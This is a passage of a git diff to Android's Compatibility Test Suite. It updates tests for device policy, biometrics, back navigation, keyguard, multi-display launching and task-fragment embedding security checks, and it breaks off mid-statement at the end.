assertThrows(SecurityException.class, () -> sDevicePolicyManager.setUserProvisioningState( @@ -1667,6 +1670,8 @@ public final class DevicePolicyManagerTest { @RequireRunOnPrimaryUser @EnsureHasSecondaryUser @EnsureHasPermission(MANAGE_PROFILE_AND_DEVICE_OWNERS) + @RequireFeature(FEATURE_DEVICE_ADMIN) + @ApiTest(apis = "android.app.admin.DevicePolicyManager#finalizeWorkProfileProvisioning") public void finalizeWorkProfileProvisioning_managedUser_throwsException() { RemoteDpc dpc = RemoteDpc.setAsProfileOwner(sDeviceState.secondaryUser()); try { diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/UserControlDisabledPackagesTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/UserControlDisabledPackagesTest.java index fcf71d0a19c..dfe77fb4121 100644 --- a/tests/devicepolicy/src/android/devicepolicy/cts/UserControlDisabledPackagesTest.java +++ b/tests/devicepolicy/src/android/devicepolicy/cts/UserControlDisabledPackagesTest.java @@ -45,6 +45,7 @@ import com.android.bedstead.harrier.policies.UserControlDisabledPackages; import com.android.bedstead.metricsrecorder.EnterpriseMetricsRecorder; import com.android.bedstead.nene.TestApis; import com.android.bedstead.nene.packages.Package; +import com.android.bedstead.nene.utils.Poll; import com.android.bedstead.testapp.TestApp; import com.android.bedstead.testapp.TestAppInstance; import com.android.queryable.queries.StringQuery; @@ -235,6 +236,11 @@ public final class UserControlDisabledPackagesTest { private void assertPackageStopped(String packageName) throws Exception { + Poll.forValue("Package " + packageName + " stopped", () -> isPackageStopped(packageName)) + .toBeEqualTo(true) + .errorOnFail() + .await(); + assertWithMessage("Package %s not stopped", packageName) .that(isPackageStopped(packageName)).isTrue(); } diff --git a/tests/framework/base/biometrics/src/android/server/biometrics/BiometricActivityTests.java b/tests/framework/base/biometrics/src/android/server/biometrics/BiometricActivityTests.java index 07d6cc8f48e..2f7339ad1b7 100644 --- a/tests/framework/base/biometrics/src/android/server/biometrics/BiometricActivityTests.java +++ b/tests/framework/base/biometrics/src/android/server/biometrics/BiometricActivityTests.java @@ -40,6 +40,7 @@ import android.util.Log; import androidx.annotation.NonNull; import androidx.annotation.Nullable; +import org.junit.Ignore; import org.junit.Test; /** @@ -237,6 +238,8 @@ public class BiometricActivityTests extends BiometricTestBase { assertEquals(callbackState.toString(), 1, callbackState.mNumAuthRejected); } + // TODO(b/236763921): fix this test and unignore. + @Ignore @Test public void testBiometricOnly_negativeButtonInvoked() throws Exception { assumeTrue(Utils.isFirstApiLevel29orGreater()); @@ -285,6 +288,8 @@ public class BiometricActivityTests extends BiometricTestBase { } + // TODO(b/236763921): fix this test and unignore. + @Ignore @Test public void testBiometricOrCredential_credentialButtonInvoked_biometricEnrolled() throws Exception { diff --git a/tests/framework/base/biometrics/src/android/server/biometrics/BiometricSimpleTests.java b/tests/framework/base/biometrics/src/android/server/biometrics/BiometricSimpleTests.java index fd42e71cc06..30af1e78562 100644 --- a/tests/framework/base/biometrics/src/android/server/biometrics/BiometricSimpleTests.java +++ b/tests/framework/base/biometrics/src/android/server/biometrics/BiometricSimpleTests.java @@ -43,6 +43,7 @@ import android.util.Log; import com.android.server.biometrics.nano.SensorStateProto; +import org.junit.Ignore; import org.junit.Test; import org.mockito.ArgumentCaptor; @@ -301,7 +302,10 @@ public class BiometricSimpleTests extends BiometricTestBase { * * Upon successful authentication, checks that the result is * {@link BiometricPrompt#AUTHENTICATION_RESULT_TYPE_BIOMETRIC} + * + * TODO(b/236763921): fix this test and unignore. */ + @Ignore @Test public void testSimpleBiometricAuth_nonConvenience() throws Exception { assumeTrue(Utils.isFirstApiLevel29orGreater()); diff --git a/tests/framework/base/localeconfig/Android.bp b/tests/framework/base/localeconfig/Android.bp index 80b00f3e49d..a0485a43655 100644 --- a/tests/framework/base/localeconfig/Android.bp +++ b/tests/framework/base/localeconfig/Android.bp @@ -43,6 +43,7 @@ android_test { sdk_version: "test_current", data: [ + ":CtsMalformedInputTests", ":CtsNoLocaleConfigTagTests", ], per_testcase_directory: true, diff --git a/tests/framework/base/windowmanager/Android.bp b/tests/framework/base/windowmanager/Android.bp index 168ee3f24b6..b786d833b67 100644 --- a/tests/framework/base/windowmanager/Android.bp +++ b/tests/framework/base/windowmanager/Android.bp @@ -67,6 +67,7 @@ android_test { "cts-wm-overlayapp-base", "cts-wm-shared", "platform-compat-test-rules", + "cts_window_jetpack_utils", ], test_suites: [ diff --git a/tests/framework/base/windowmanager/AndroidManifest.xml b/tests/framework/base/windowmanager/AndroidManifest.xml index 39c3d3ecbfd..84d22f3a864 100644 --- a/tests/framework/base/windowmanager/AndroidManifest.xml +++ b/tests/framework/base/windowmanager/AndroidManifest.xml @@ -38,6 +38,8 @@ android:enableOnBackInvokedCallback="true" android:testOnly="true"> <uses-library android:name="android.test.runner"/> + <uses-library android:name="androidx.window.extensions" + android:required="false" /> <activity android:name="android.server.wm.ActivityManagerTestBase$ConfigChangeHandlingActivity" android:resizeableActivity="true" @@ -490,7 +492,7 @@ <activity android:name="android.server.wm.CompatChangeTests$NonResizeableLargeAspectRatioActivity" android:resizeableActivity="false" android:screenOrientation="portrait" - android:minAspectRatio="3" + android:minAspectRatio="4" android:exported="true"/> <activity android:name="android.server.wm.CompatChangeTests$SupportsSizeChangesPortraitActivity" diff --git a/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java b/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java index 94c1f1a044a..bd26452edfe 100644 --- a/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java +++ b/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java @@ -760,7 +760,7 @@ public class BackgroundActivityLaunchTest extends ActivityManagerTestBase { if (objectText == null) { continue; } - if (objectText.equalsIgnoreCase("CREATE")) { + if (objectText.equalsIgnoreCase("CREATE") || objectText.equalsIgnoreCase("ALLOW")) { object.click(); buttonClicked = true; break; diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/ActivityEmbeddingUtil.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/ActivityEmbeddingUtil.java index 5dad58200b6..477cc8d7f4b 100644 --- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/ActivityEmbeddingUtil.java +++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/ActivityEmbeddingUtil.java @@ -16,6 +16,7 @@ package android.server.wm.jetpack.utils; +import static android.server.wm.jetpack.utils.ExtensionUtil.assumeExtensionSupportedDevice; import static android.server.wm.jetpack.utils.ExtensionUtil.getWindowExtensions; import static android.server.wm.jetpack.utils.WindowManagerJetpackTestBase.getActivityBounds; import static android.server.wm.jetpack.utils.WindowManagerJetpackTestBase.getMaximumActivityBounds; @@ -28,6 +29,7 @@ import static org.junit.Assert.assertFalse; import static org.junit.Assert.assertNotNull; import static org.junit.Assert.assertTrue; import static org.junit.Assert.fail; +import static org.junit.Assume.assumeTrue; import android.app.Activity; import android.content.ComponentName; @@ -51,6 +53,7 @@ import com.android.compatibility.common.util.PollingCheck; import java.util.Arrays; import java.util.Collections; import java.util.List; +import java.util.Objects; import java.util.function.Predicate; /** @@ -216,19 +219,13 @@ public class ActivityEmbeddingUtil { /** * Attempts to start an activity from a different UID into a split, verifies that activity - * start did not succeed and no new split is active. + * did not start on splitContainer successfully and no new split is active. */ public static void startActivityCrossUidInSplit_expectFail(@NonNull Activity primaryActivity, @NonNull ComponentName secondActivityComponent, @NonNull TestValueCountConsumer<List<SplitInfo>> splitInfoConsumer) { - boolean startExceptionObserved = false; - try { - startActivityFromActivity(primaryActivity, secondActivityComponent, "secondActivityId", + startActivityFromActivity(primaryActivity, secondActivityComponent, "secondActivityId", Bundle.EMPTY); - } catch (SecurityException e) { - startExceptionObserved = true; - } - assertTrue(startExceptionObserved); // No split should be active, primary activity should be covered by the new one. assertNoSplit(primaryActivity, splitInfoConsumer); @@ -453,6 +450,13 @@ public class ActivityEmbeddingUtil { } } + public static void assumeActivityEmbeddingSupportedDevice() { + assumeExtensionSupportedDevice(); + assumeTrue("Device does not support ActivityEmbedding", + Objects.requireNonNull(getWindowExtensions()) + .getActivityEmbeddingComponent() != null); + } + private static void assertSplitInfoTopSplitIsCorrect(@NonNull List<SplitInfo> splitInfoList, @NonNull Activity primaryActivity, @NonNull Activity secondaryActivity) { assertFalse("Split info callback should not be empty", splitInfoList.isEmpty()); diff --git a/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java b/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java index b2790bbc6ed..719e666c3f7 100644 --- a/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java +++ b/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java @@ -286,6 +286,8 @@ public class AppConfigurationTests extends MultiDisplayTestBase { } final SizeInfo dockedSizes = getLastReportedSizesForActivity(activityName); assertSizesAreSane(initialFullscreenSizes, dockedSizes); + final boolean orientationChanged = + initialFullscreenSizes.orientation != dockedSizes.orientation; separateTestJournal(); // Restore to fullscreen. @@ -298,10 +300,17 @@ public class AppConfigurationTests extends MultiDisplayTestBase { // (dock task was minimized), start the activity again to ensure the activity is at // foreground. launchActivity(activityName, WINDOWING_MODE_FULLSCREEN); - assertActivityLifecycle(activityName, relaunch); - final SizeInfo finalFullscreenSizes = getLastReportedSizesForActivity(activityName); + if (relaunch && !orientationChanged) { + // If there is no orientation changes while moving the non-resizeable activity out of + // the split, the Activity won't be relaunched because size changes won't cross the + // size config buckets. So, there won't be any lifecycle changes. + waitForOnMultiWindowModeChanged(activityName); + } else { + assertActivityLifecycle(activityName, relaunch); + } - // After activity configuration was changed twice it must report same size as original one. + // It must report same size as original one after split-screen dismissed. + final SizeInfo finalFullscreenSizes = getLastReportedSizesForActivity(activityName); assertSizesAreSame(initialFullscreenSizes, finalFullscreenSizes); } diff --git a/tests/framework/base/windowmanager/src/android/server/wm/BackNavigationLegacyGestureTest.java b/tests/framework/base/windowmanager/src/android/server/wm/BackNavigationLegacyGestureTest.java new file mode 100644 index 00000000000..a26d3c2dbc9 --- /dev/null +++ b/tests/framework/base/windowmanager/src/android/server/wm/BackNavigationLegacyGestureTest.java @@ -0,0 +1,122 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package android.server.wm; + +import static android.server.wm.WindowManagerState.STATE_RESUMED; +import static android.server.wm.WindowManagerState.STATE_STOPPED; +import static android.server.wm.backlegacyapp.Components.BACK_LEGACY; + +import static org.junit.Assert.assertFalse; +import static org.junit.Assert.assertTrue; + +import android.app.Instrumentation; +import android.os.SystemClock; +import android.server.wm.TestJournalProvider.TestJournalContainer; +import android.server.wm.backlegacyapp.Components; +import android.support.test.uiautomator.UiDevice; +import android.view.InputEvent; +import android.view.MotionEvent; + +import androidx.annotation.NonNull; +import androidx.test.platform.app.InstrumentationRegistry; + +import com.android.compatibility.common.util.GestureNavRule; + +import org.junit.Before; +import org.junit.ClassRule; +import org.junit.Test; + +/** + * Integration test for back navigation legacy mode + */ +public class BackNavigationLegacyGestureTest extends ActivityManagerTestBase { + private Instrumentation mInstrumentation; + + @ClassRule + public static GestureNavRule GESTURE_NAV_RULE = new GestureNavRule(); + private UiDevice mUiDevice; + + @Before + public void setup() { + GESTURE_NAV_RULE.assumeGestureNavigationMode(); + mInstrumentation = InstrumentationRegistry.getInstrumentation(); + } + + @Test + public void receiveOnBackPressed() { + TestJournalContainer.start(); + launchActivity(BACK_LEGACY); + mWmState.assertActivityDisplayed(BACK_LEGACY); + waitAndAssertActivityState(BACK_LEGACY, STATE_RESUMED, "Activity should be resumed"); + mUiDevice = UiDevice.getInstance(mInstrumentation); + doBackGesture(); + waitAndAssertActivityState(BACK_LEGACY, STATE_STOPPED, "Activity should be stopped"); + assertTrue("OnBackPressed should have been called", + TestJournalContainer.get(BACK_LEGACY).extras.getBoolean( + Components.KEY_ON_BACK_PRESSED_CALLED)); + assertFalse("OnBackInvoked should not have been called", + TestJournalContainer.get(BACK_LEGACY).extras.getBoolean( + Components.KEY_ON_BACK_INVOKED_CALLED)); + } + + /** + * Do a back gesture. (Swipe) + */ + private void doBackGesture() { + int midHeight = mUiDevice.getDisplayHeight() / 2; + int midWidth = mUiDevice.getDisplayWidth() / 2; + quickSwipe(0, midHeight, midWidth, midHeight, 10); + mUiDevice.waitForIdle(); + } + + private void injectInputEventUnSynced(@NonNull InputEvent event) { + mInstrumentation.getUiAutomation().injectInputEvent(event, false /* sync */, + false /* waitForAnimations */); + } + + /** + * Injecting a sequence of motion event to simulate swipe without waiting for sync transaction. + */ + private void quickSwipe(float startX, float startY, float endX, float endY, int steps) { + if (steps <= 0) { + steps = 1; + } + final long startDownTime = SystemClock.uptimeMillis(); + MotionEvent firstDown = MotionEvent.obtain(startDownTime, startDownTime, + MotionEvent.ACTION_DOWN, startX, startY, 0); + injectInputEventUnSynced(firstDown); + + // inject in every 5 ms. + final int delayMillis = 5; + long nextEventTime = startDownTime + delayMillis; + final float stepGapX = (endX - startX) / steps; + final float stepGapY = (endY - startY) / steps; + for (int i = 0; i < steps; i++) { + SystemClock.sleep(delayMillis); + final float nextX = startX + stepGapX * i; + final float nextY = startY + stepGapY * i; + MotionEvent move = MotionEvent.obtain(startDownTime, nextEventTime, + MotionEvent.ACTION_MOVE, nextX, nextY, 0); + injectInputEventUnSynced(move); + nextEventTime += delayMillis; + } + + SystemClock.sleep(delayMillis); + MotionEvent up = MotionEvent.obtain(startDownTime, nextEventTime, + MotionEvent.ACTION_UP, endX, endY, 0); + injectInputEventUnSynced(up); + } +} diff --git a/tests/framework/base/windowmanager/src/android/server/wm/BackNavigationLegacyTest.java b/tests/framework/base/windowmanager/src/android/server/wm/BackNavigationLegacyTest.java index 38d9e6239fe..e7d6ba88412 100644 --- a/tests/framework/base/windowmanager/src/android/server/wm/BackNavigationLegacyTest.java +++ b/tests/framework/base/windowmanager/src/android/server/wm/BackNavigationLegacyTest.java @@ -16,6 +16,7 @@ package android.server.wm; import static android.server.wm.WindowManagerState.STATE_RESUMED; +import static android.server.wm.WindowManagerState.STATE_STOPPED; import static android.server.wm.backlegacyapp.Components.BACK_LEGACY; import static org.junit.Assert.assertFalse; @@ -38,6 +39,8 @@ import org.junit.Test; public class BackNavigationLegacyTest extends ActivityManagerTestBase { private Instrumentation mInstrumentation; + private UiDevice mUiDevice; + @Before public void setup() { mInstrumentation = InstrumentationRegistry.getInstrumentation(); @@ -50,7 +53,9 @@ public class BackNavigationLegacyTest extends ActivityManagerTestBase { launchActivity(BACK_LEGACY); mWmState.assertActivityDisplayed(BACK_LEGACY); waitAndAssertActivityState(BACK_LEGACY, STATE_RESUMED, "Activity should be resumed"); - UiDevice.getInstance(mInstrumentation).pressKeyCode(KeyEvent.KEYCODE_BACK); + mUiDevice = UiDevice.getInstance(mInstrumentation); + mUiDevice.pressKeyCode(KeyEvent.KEYCODE_BACK); + waitAndAssertActivityState(BACK_LEGACY, STATE_STOPPED, "Activity should be stopped"); assertTrue("OnBackPressed should have been called", TestJournalContainer.get(BACK_LEGACY).extras.getBoolean( Components.KEY_ON_BACK_PRESSED_CALLED)); diff --git a/tests/framework/base/windowmanager/src/android/server/wm/CompatChangeTests.java b/tests/framework/base/windowmanager/src/android/server/wm/CompatChangeTests.java index 097defa1d3f..97ec4418c45 100644 --- a/tests/framework/base/windowmanager/src/android/server/wm/CompatChangeTests.java +++ b/tests/framework/base/windowmanager/src/android/server/wm/CompatChangeTests.java @@ -94,7 +94,7 @@ public final class CompatChangeTests extends MultiDisplayTestBase { // The min aspect ratio of NON_RESIZEABLE_LARGE_ASPECT_RATIO_ACTIVITY (as defined in the // manifest). This needs to be higher than the aspect ratio of any device, which according to // CDD is at most 21:9. - private static final float ACTIVITY_LARGE_MIN_ASPECT_RATIO = 3f; + private static final float ACTIVITY_LARGE_MIN_ASPECT_RATIO = 4f; private static final float FLOAT_EQUALITY_DELTA = 0.01f; diff --git a/tests/framework/base/windowmanager/src/android/server/wm/KeyguardLockedTests.java b/tests/framework/base/windowmanager/src/android/server/wm/KeyguardLockedTests.java index 784003b2452..08b8204cd98 100644 --- a/tests/framework/base/windowmanager/src/android/server/wm/KeyguardLockedTests.java +++ b/tests/framework/base/windowmanager/src/android/server/wm/KeyguardLockedTests.java @@ -174,20 +174,6 @@ public class KeyguardLockedTests extends KeyguardTestBase { } @Test - public void testDismissKeyguardIfInsecure_notAllowed() { - final LockScreenSession lockScreenSession = createManagedLockScreenSession(); - lockScreenSession.setLockCredential().gotoKeyguard(); - - mWmState.assertKeyguardShowingAndNotOccluded(); - launchActivityWithDismissKeyguardIfInsecure(SHOW_WHEN_LOCKED_ACTIVITY); - mWmState.computeState(SHOW_WHEN_LOCKED_ACTIVITY); - mWmState.assertVisibility(SHOW_WHEN_LOCKED_ACTIVITY, true); - - // Make sure we stay on Keyguard. - mWmState.assertKeyguardShowingAndOccluded(); - } - - @Test public void testDismissKeyguardActivity_method() { final LockScreenSession lockScreenSession = createManagedLockScreenSession(); lockScreenSession.setLockCredential(); diff --git a/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTransitionTests.java b/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTransitionTests.java index bac67d28dc0..b585c048c4b 100644 --- a/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTransitionTests.java +++ b/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTransitionTests.java @@ -106,15 +106,6 @@ public class KeyguardTransitionTests extends ActivityManagerTestBase { } @Test - public void testDismissKeyguardIfInsecure() { - createManagedLockScreenSession().gotoKeyguard(); - launchActivityWithDismissKeyguardIfInsecure(SHOW_WHEN_LOCKED_NO_PREVIEW_ACTIVITY); - mWmState.computeState(SHOW_WHEN_LOCKED_NO_PREVIEW_ACTIVITY); - assertEquals("Picked wrong transition", TRANSIT_KEYGUARD_GOING_AWAY, - mWmState.getDefaultDisplayLastTransition()); - } - - @Test public void testNewActivityDuringOccluded() { final LockScreenSession lockScreenSession = createManagedLockScreenSession(); launchActivity(SHOW_WHEN_LOCKED_NO_PREVIEW_ACTIVITY); @@ -126,18 +117,6 @@ public class KeyguardTransitionTests extends ActivityManagerTestBase { } @Test - public void testNewDismissKeyguardIfInsecureActivityDuringOccluded() { - final LockScreenSession lockScreenSession = createManagedLockScreenSession(); - launchActivity(SHOW_WHEN_LOCKED_NO_PREVIEW_ACTIVITY); - lockScreenSession.gotoKeyguard(SHOW_WHEN_LOCKED_NO_PREVIEW_ACTIVITY); - launchActivityWithDismissKeyguardIfInsecure( - SHOW_WHEN_LOCKED_WITH_DIALOG_NO_PREVIEW_ACTIVITY); - mWmState.computeState(SHOW_WHEN_LOCKED_WITH_DIALOG_NO_PREVIEW_ACTIVITY); - assertEquals("Picked wrong transition", TRANSIT_ACTIVITY_OPEN, - mWmState.getDefaultDisplayLastTransition()); - } - - @Test public void testOccludeManifestAttr() { final LockScreenSession lockScreenSession = createManagedLockScreenSession(); lockScreenSession.gotoKeyguard(); diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayActivityLaunchTests.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayActivityLaunchTests.java index ad931ec66b7..1c21598a740 100644 --- a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayActivityLaunchTests.java +++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayActivityLaunchTests.java @@ -207,10 +207,8 @@ public class MultiDisplayActivityLaunchTests extends MultiDisplayTestBase { */ @Test public void testLaunchExternalDisplayActivityWhilePrimaryOff() { - if (isOperatorTierDevice()) { - // This test is not applicable for the device who uses launch_after_boot configuration - return; - } + // Leanback devices may launch a live broadcast app during screen off-on cycles. + final boolean mayLaunchActivityOnScreenOff = isLeanBack(); // Launch something on the primary display so we know there is a resumed activity there launchActivity(RESIZEABLE_ACTIVITY); @@ -223,10 +221,12 @@ public class MultiDisplayActivityLaunchTests extends MultiDisplayTestBase { displayStateSession.turnScreenOff(); // Make sure there is no resumed activity when the primary display is off - waitAndAssertActivityState(RESIZEABLE_ACTIVITY, STATE_STOPPED, - "Activity launched on primary display must be stopped after turning off"); - assertEquals("Unexpected resumed activity", - 0, mWmState.getResumedActivitiesCount()); + if (!mayLaunchActivityOnScreenOff) { + waitAndAssertActivityState(RESIZEABLE_ACTIVITY, STATE_STOPPED, + "Activity launched on primary display must be stopped after turning off"); + assertEquals("Unexpected resumed activity", + 0, mWmState.getResumedActivitiesCount()); + } final DisplayContent newDisplay = externalDisplaySession .setCanShowWithInsecureKeyguard(true).createVirtualDisplay(); @@ -236,8 +236,10 @@ public class MultiDisplayActivityLaunchTests extends MultiDisplayTestBase { // Check that the test activity is resumed on the external display waitAndAssertActivityStateOnDisplay(TEST_ACTIVITY, STATE_RESUMED, newDisplay.mId, "Activity launched on external display must be resumed"); - mWmState.assertFocusedAppOnDisplay("App on default display must still be focused", - RESIZEABLE_ACTIVITY, DEFAULT_DISPLAY); + if (!mayLaunchActivityOnScreenOff) { + mWmState.assertFocusedAppOnDisplay("App on default display must still be focused", + RESIZEABLE_ACTIVITY, DEFAULT_DISPLAY); + } } /** diff --git a/tests/framework/base/windowmanager/src/android/server/wm/StartActivityTests.java b/tests/framework/base/windowmanager/src/android/server/wm/StartActivityTests.java index 6ec900cac4b..ed2d6100fee 100644 --- a/tests/framework/base/windowmanager/src/android/server/wm/StartActivityTests.java +++ b/tests/framework/base/windowmanager/src/android/server/wm/StartActivityTests.java @@ -55,6 +55,8 @@ import android.platform.test.annotations.Presubmit; import android.server.wm.CommandSession.ActivitySession; import android.server.wm.intent.Activities; +import com.android.compatibility.common.util.ApiTest; + import org.junit.Test; import java.util.Arrays; @@ -208,13 +210,25 @@ public class StartActivityTests extends ActivityManagerTestBase { * activity because the caller C in different uid cannot launch a non-exported activity. */ @Test + @ApiTest(apis = {"android.app.Activity#navigateUpTo"}) public void testStartActivityByNavigateUpToFromDiffUid() { - final Intent intent1 = new Intent(mContext, Activities.RegularActivity.class); + final Intent rootIntent = new Intent(mContext, Activities.RegularActivity.class); final String regularActivityName = Activities.RegularActivity.class.getName(); final TestActivitySession<Activities.RegularActivity> activitySession1 = createManagedTestActivitySession(); - activitySession1.launchTestActivityOnDisplaySync(regularActivityName, intent1, + activitySession1.launchTestActivityOnDisplaySync(regularActivityName, rootIntent, DEFAULT_DISPLAY); + + final Intent navIntent = new Intent(mContext, Activities.RegularActivity.class); + verifyNavigateUpTo(activitySession1, navIntent); + + navIntent.addFlags(FLAG_ACTIVITY_CLEAR_TOP); + verifyNavigateUpTo(activitySession1, navIntent); + assertFalse("#onNewIntent cannot be called", + activitySession1.getActivity().mIsOnNewIntentCalled); + } + + private void verifyNavigateUpTo(TestActivitySession rootActivitySession, Intent navIntent) { final TestActivitySession<Activities.SingleTopActivity> activitySession2 = createManagedTestActivitySession(); activitySession2.launchTestActivityOnDisplaySync(Activities.SingleTopActivity.class, @@ -232,14 +246,14 @@ public class StartActivityTests extends ActivityManagerTestBase { }); final Bundle data = new Bundle(); - data.putParcelable(EXTRA_INTENT, intent1); + data.putParcelable(EXTRA_INTENT, navIntent); activitySession3.sendCommand(COMMAND_NAVIGATE_UP_TO, data); - waitAndAssertTopResumedActivity(intent1.getComponent(), DEFAULT_DISPLAY, - "navigateUpTo should return to the first activity"); + waitAndAssertTopResumedActivity(rootActivitySession.getActivity().getComponentName(), + DEFAULT_DISPLAY, "navigateUpTo should return to the first activity"); // Make sure the resumed first activity is the original instance. assertFalse("The target of navigateUpTo should not be destroyed", - activitySession1.getActivity().isDestroyed()); + rootActivitySession.getActivity().isDestroyed()); // The activities above the first one should be destroyed. mWmState.waitAndAssertActivityRemoved( diff --git a/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentOrganizerPolicyTest.java b/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentOrganizerPolicyTest.java index 318e6f76104..d49948ffb5d 100644 --- a/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentOrganizerPolicyTest.java +++ b/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentOrganizerPolicyTest.java @@ -27,11 +27,13 @@ import static android.server.wm.app30.Components.SDK_30_TEST_ACTIVITY; import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation; import static com.google.common.truth.Truth.assertThat; +import static com.google.common.truth.Truth.assertWithMessage; import static org.junit.Assert.assertEquals; import android.app.Activity; import android.app.Instrumentation; +import android.content.ComponentName; import android.content.Intent; import android.graphics.Rect; import android.os.Binder; @@ -39,6 +41,7 @@ import android.os.IBinder; import android.platform.test.annotations.Presubmit; import android.server.wm.TaskFragmentOrganizerTestBase.BasicTaskFragmentOrganizer; import android.server.wm.WindowContextTests.TestActivity; +import android.server.wm.WindowManagerState.Task; import android.window.TaskAppearedInfo; import android.window.TaskFragmentCreationParams; import android.window.TaskFragmentInfo; @@ -196,18 +199,13 @@ public class TaskFragmentOrganizerPolicyTest extends ActivityManagerTestBase { null /* activityOptions */); mTaskFragmentOrganizer.applyTransaction(wct); - - mTaskFragmentOrganizer.waitForTaskFragmentCreated(); - - TaskFragmentInfo info = mTaskFragmentOrganizer.getTaskFragmentInfo(taskFragToken); - - // TaskFragment must remain empty because embedding activities in a new task is not allowed. - assertEmptyTaskFragment(info, taskFragToken); - mTaskFragmentOrganizer.waitForTaskFragmentError(); assertThat(mTaskFragmentOrganizer.getThrowable()).isInstanceOf(SecurityException.class); assertThat(mTaskFragmentOrganizer.getErrorCallbackToken()).isEqualTo(errorCallbackToken); + + // Activity must be launched on a new task instead. + waitAndAssertActivityLaunchOnTask(LAUNCHING_ACTIVITY); } /** @@ -233,9 +231,20 @@ public class TaskFragmentOrganizerPolicyTest extends ActivityManagerTestBase { mTaskFragmentOrganizer.waitForTaskFragmentError(); assertThat(mTaskFragmentOrganizer.getThrowable()).isInstanceOf(SecurityException.class); - // Making sure no activity launched + // Making sure activity is not launched on the TaskFragment TaskFragmentInfo info = mTaskFragmentOrganizer.getTaskFragmentInfo(taskFragToken); assertEmptyTaskFragment(info, taskFragToken); + + // Activity must be launched on a new task instead. + waitAndAssertActivityLaunchOnTask(SDK_30_TEST_ACTIVITY); + } + + private void waitAndAssertActivityLaunchOnTask(ComponentName activityName) { + waitAndAssertResumedActivity(activityName, "Activity must be resumed."); + + Task task = mWmState.getTaskByActivity(activityName); + assertWithMessage("Launching activity must be started on Task") + .that(task.getActivities()).contains(mWmState.getActivity(activityName)); } /** diff --git a/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentTrustedModeTest.java b/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentTrustedModeTest.java index 385a5af9ed6..9fd1a41a416 100644 --- a/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentTrustedModeTest.java +++ b/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentTrustedModeTest.java @@ -18,8 +18,10 @@ package android.server.wm; import static android.server.wm.WindowManagerState.STATE_RESUMED; import static android.server.wm.jetpack.second.Components.SECOND_UNTRUSTED_EMBEDDING_ACTIVITY; +import static android.server.wm.jetpack.utils.ActivityEmbeddingUtil.assumeActivityEmbeddingSupportedDevice; import static com.google.common.truth.Truth.assertThat; +import static com.google.common.truth.Truth.assertWithMessage; import static org.junit.Assert.assertEquals; import static org.junit.Assert.assertFalse; @@ -32,6 +34,7 @@ import android.content.Intent; import android.graphics.Rect; import android.os.Binder; import android.os.IBinder; +import android.platform.test.annotations.Presubmit; import android.server.wm.WindowManagerState.Task; import android.window.TaskFragmentCreationParams; import android.window.TaskFragmentInfo; @@ -39,6 +42,7 @@ import android.window.WindowContainerTransaction; import androidx.annotation.NonNull; +import org.junit.Before; import org.junit.Test; /** @@ -47,11 +51,19 @@ import org.junit.Test; * Build/Install/Run: * atest CtsWindowManagerDeviceTestCases:TaskFragmentTrustedModeTest */ +@Presubmit public class TaskFragmentTrustedModeTest extends TaskFragmentOrganizerTestBase { private final ComponentName mTranslucentActivity = new ComponentName(mContext, TranslucentActivity.class); + @Before + @Override + public void setUp() throws Exception { + super.setUp(); + assumeActivityEmbeddingSupportedDevice(); + } + /** * Verifies the visibility of a task fragment that has overlays on top of activities embedded * in untrusted mode when there is an overlay over the task fragment. @@ -239,7 +251,7 @@ public class TaskFragmentTrustedModeTest extends TaskFragmentOrganizerTestBase { */ @Test public void testUntrustedModeTaskFragment_startActivityInTaskFragmentOutsideOfParentBounds() { - final Task parentTask = mWmState.getRootTask(mOwnerTaskId); + Task parentTask = mWmState.getRootTask(mOwnerTaskId); final Rect parentBounds = new Rect(parentTask.getBounds()); final IBinder errorCallbackToken = new Binder(); final WindowContainerTransaction wct = new WindowContainerTransaction() @@ -254,8 +266,11 @@ public class TaskFragmentTrustedModeTest extends TaskFragmentOrganizerTestBase { // It is disallowed to start activity to TaskFragment with bounds outside of its parent // in untrusted mode. assertTaskFragmentError(errorCallbackToken, SecurityException.class); - mWmState.waitForAppTransitionIdleOnDisplay(mOwnerActivity.getDisplayId()); - mWmState.assertNotExist(SECOND_UNTRUSTED_EMBEDDING_ACTIVITY); + + parentTask = mWmState.getRootTask(mOwnerTaskId); + assertWithMessage("Activity must be started in parent Task because it's not" + + " allowed to be embedded").that(parentTask.mActivities).contains( + 